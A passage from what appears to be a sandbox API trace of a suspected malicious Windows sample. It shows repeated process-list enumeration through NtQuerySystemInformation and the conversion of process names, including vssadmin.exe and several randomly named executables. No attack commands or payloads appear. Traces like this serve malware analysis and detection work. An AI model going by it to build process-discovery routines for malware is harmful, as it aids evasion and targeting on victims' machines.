DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e20 [0069.240] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.240] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713f0 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171510 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171310 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0069.241] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0069.241] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171510 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31622f0 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713d0 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0069.242] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0069.242] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x31713f0 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175c38 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713d0 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168970 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0069.243] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0069.243] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0069.244] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0069.244] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0069.244] Sleep (dwMilliseconds=0x64) [0071.547] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0071.547] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.548] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0071.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.548] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0071.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.548] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0071.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.549] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0071.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.549] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0071.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.549] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0071.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.549] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0071.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.550] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0071.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.550] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0071.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.550] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0071.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.551] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0071.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.551] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0071.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.551] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0071.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.552] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0071.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.552] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0071.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.552] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0071.552] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.553] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0071.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.553] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0071.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.553] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0071.553] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.554] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0071.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.554] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0071.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.555] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0071.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.555] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0071.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.555] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0071.555] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.556] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0071.556] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.556] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0071.556] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.557] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0071.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.557] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0071.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0071.558] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0071.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0071.558] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0071.558] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175d88 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e68 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0071.559] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.559] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175bb8 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", 